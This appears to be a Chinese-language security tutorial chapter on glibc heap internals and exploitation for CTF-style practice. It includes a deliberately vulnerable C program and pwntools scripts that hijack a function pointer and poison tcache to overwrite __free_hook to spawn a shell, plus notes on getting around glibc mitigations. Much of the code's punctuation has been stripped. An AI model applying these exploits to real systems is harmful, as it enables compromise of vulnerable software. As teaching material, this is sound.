Day 25: 堆溢出与堆利用基础堆Heap是程序运行时动态分配内存的区域。与栈不同堆的管理更加复杂漏洞利用也更具挑战性。本章介绍 glibc 堆管理机制和常见的堆漏洞类型。1. 堆基础知识1.1 堆与栈的区别特性栈堆分配方式自动编译器手动malloc/free增长方向高地址→低地址低地址→高地址大小较小MB级较大可达GB速度快较慢碎片化无有1.2 内存布局高地址 ┌─────────────────────┐ │ 栈 (Stack) │ ← 向下增长 ├─────────────────────┤ │ ↓ │ │ │ │ ↑ │ ├─────────────────────┤ │ 堆 (Heap) │ ← 向上增长 ├─────────────────────┤ │ BSS未初始化 │ ├─────────────────────┤ │ Data已初始化 │ ├─────────────────────┤ │ Text代码 │ └─────────────────────┘ 低地址2. glibc 堆管理器Linux 系统最常用的堆管理器是 glibc 的 ptmalloc2。2.1 Chunk 结构每块分配的内存都包含一个 chunk 头部structmalloc_chunk{size_tprev_size;// 前一个 chunk 的大小如果前一个 chunk 空闲size_tsize;// 当前 chunk 的大小 标志位// 以下仅在 chunk 空闲时使用structmalloc_chunk*fd;// 前向指针structmalloc_chunk*bk;// 后向指针};内存中的布局已分配的 chunk ┌─────────────────────┐ │ prev_size │ 8 字节 ├─────────────────────┤ │ size | flags │ 8 字节最低3位是标志 ├─────────────────────┤ │ │ │ 用户数据 │ malloc 返回的指针指向这里 │ │ └─────────────────────┘ 空闲的 chunk ┌─────────────────────┐ │ prev_size │ ├─────────────────────┤ │ size | flags │ ├─────────────────────┤ │ fd │ 指向下一个空闲 chunk ├─────────────────────┤ │ bk │ 指向上一个空闲 chunk ├─────────────────────┤ │ 空间 │ └─────────────────────┘2.2 Size 字段的标志位size 字段的最低 3 位 ┌─────────────────────────────────┬───┬───┬───┐ │ 实际大小 │ A │ M │ P │ └─────────────────────────────────┴───┴───┴───┘ │ │ └── PREV_INUSE: 前一个 chunk 是否在使用 │ └────── IS_MMAPPED: 是否由 mmap 分配 └────────── NON_MAIN_ARENA: 是否属于非主 arena2.3 Bins空闲链表glibc 使用不同的 bins 管理空闲 chunkBin 类型大小范围特点Fast bins16-80 字节单链表LIFO不合并Small bins16-504 字节双链表FIFOLarge bins504 字节双链表按大小排序Unsorted bin任意临时存放后续分类Tcache (2.26)任意每线程缓存最快3. 常见堆漏洞类型3.1 堆溢出 (Heap Overflow)写入超过分配大小的数据覆盖相邻 chunkchar*amalloc(32);char*bmalloc(32);strcpy(a,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA);// 溢出到 b3.2 Use-After-Free (UAF)释放后继续使用指针char*ptrmalloc(64);free(ptr);// ... 其他 malloc 可能重用这块内存 ...strcpy(ptr,data);// 危险ptr 可能指向其他数据3.3 Double Free重复释放同一块内存char*ptrmalloc(64);free(ptr);free(ptr);// 第二次释放破坏堆结构3.4 Off-by-One / Off-by-Null多写一个字节char*bufmalloc(16);for(inti0;i16;i){// 应该是 i 16buf[i]A;// 溢出一个字节}4. 实践堆溢出利用4.1 目标程序// heap_vuln.c#includestdio.h#includestdlib.h#includestring.hstructdata{charbuffer[64];void(*print_func)(constchar*);};voidnormal_print(constchar*msg){printf(消息: %s\n,msg);}voidwin(constchar*msg){printf(恭喜你成功劫持了函数指针\n);system(/bin/sh);}intmain(){structdata*dmalloc(sizeof(structdata));d-print_funcnormal_print;printf(请输入消息: );gets(d-buffer);// 溢出d-print_func(d-buffer);free(d);return0;}4.2 分析结构体布局偏移 0: buffer[64] 偏移 64: print_func函数指针如果输入超过 64 字节就会覆盖print_func。4.3 利用脚本#!/usr/bin/env python3frompwnimport*elfELF(./heap_vuln)pprocess(./heap_vuln)win_addrelf.symbols[win]payloadbA*64# 填充 bufferpayloadp64(win_addr)# 覆盖 print_funcp.sendline(payload)p.interactive()5. Tcache 利用5.1 Tcache 结构 (glibc 2.26)每个线程有自己的 tcache包含 64 个 binstypedefstructtcache_perthread_struct{charcounts[TCACHE_MAX_BINS];// 每个 bin 中的 chunk 数量tcache_entry*entries[TCACHE_MAX_BINS];// bin 链表头}tcache_perthread_struct;typedefstructtcache_entry{structtcache_entry*next;// 下一个空闲 chunk}tcache_entry;5.2 Tcache Poisoning通过覆盖 tcache 链表的 next 指针让 malloc 返回任意地址// 漏洞代码char*amalloc(0x20);free(a);// 假设可以写入已释放的 chunk*(size_t*)atarget_address;// 覆盖 next 指针char*bmalloc(0x20);// 返回 achar*cmalloc(0x20);// 返回 target_address5.3 利用示例frompwnimport*# 假设有 UAF 漏洞defalloc(size,data):p.sendline(b1)p.sendline(str(size).encode())p.sendline(data)deffree(idx):p.sendline(b2)p.sendline(str(idx).encode())defedit(idx,data):# UAF: 编辑已释放的 chunkp.sendline(b3)p.sendline(str(idx).encode())p.sendline(data)# 1. 分配两个 chunkalloc(0x20,bAAAA)# idx 0alloc(0x20,bBBBB)# idx 1# 2. 释放 chunk 0free(0)# 3. 利用 UAF 修改 next 指针targetelf.symbols[__free_hook]# 目标地址edit(0,p64(target))# 4. 分配两次alloc(0x20,bCCCC)# 返回原来的 chunk 0alloc(0x20,p64(system_addr))# 返回 __free_hook# 5. free 时触发 systemalloc(0x20,b/bin/sh\x00)free(last_idx)# 调用 system(/bin/sh)6. 经典技术Fastbin Attack6.1 原理Fastbin 是单链表通过修改 fd 指针实现任意地址分配。6.2 限制分配时会检查 size 字段是否匹配。需要找到目标地址附近有伪造的 size 值。6.3 常用目标__malloc_hook附近有特殊的字节序列可以当作 size(gdb)x/10gx__malloc_hook - 0x23 0x7f...: 0x0000000000000000 0x0000000000000000 0x7f...: 0x00007f...0060 0x0000000000000000 ← 0x7f 可以当作 size7. House of XXX 系列堆利用有很多经典技术以 “House of” 命名技术目标glibc 版本House of Forcetop chunk 2.29House of Spirit伪造 fastbin多版本House of Loresmall bin多版本House of Orange无 free 情况 2.26House of Einherjaroff-by-null多版本8. 保护机制8.1 Safe Linking (glibc 2.32)Tcache 和 fastbin 的指针被加密// 加密ptr(ptr12)^next_ptr// 需要泄露堆地址才能正确计算8.2 Tcache Key (glibc 2.29)防止 double freetypedefstructtcache_entry{structtcache_entry*next;structtcache_perthread_struct*key;// 用于检测 double free}tcache_entry;8.3 绕过方法泄露堆地址House of Botcake绕过 key 检查利用其他 bin9. 调试工具9.1 pwndbg 堆命令(gdb)heap# 显示所有 chunk(gdb)bins# 显示所有 bins(gdb)tcachebins# 显示 tcache(gdb)fastbins# 显示 fastbins(gdb)vis_heap_chunks# 可视化堆布局9.2 查看 chunk 详情(gdb)p *(struct malloc_chunk *)0x555555559000(gdb)x/4gx 0x55555555900010. 练习练习 1函数指针覆盖利用上面的 heap_vuln.c通过堆溢出获取 shell。练习 2UAF#includestdio.h#includestdlib.hintmain(){char*amalloc(0x20);char*bmalloc(0x20);free(a);printf(Input: );read(0,a,0x20);// UAFchar*cmalloc(0x20);printf(c %p\n,c);// c 指向哪里return0;}分析 c 的值理解 tcache 的工作原理。练习 3Tcache Poisoning在上面的基础上让第三次 malloc 返回__free_hook地址。本章总结堆利用的核心知识Chunk 结构prev_size, size, fd, bkBins 管理tcache, fastbin, smallbin, largebin常见漏洞堆溢出、UAF、Double Free利用技术Tcache Poisoning、Fastbin Attack堆利用比栈利用复杂得多需要深入理解内存管理机制。建议多用调试器观察堆的变化。扩展资源how2heap - 堆利用技术合集glibc malloc 源码CTF Wiki - 堆利用Nightmare - 堆题目集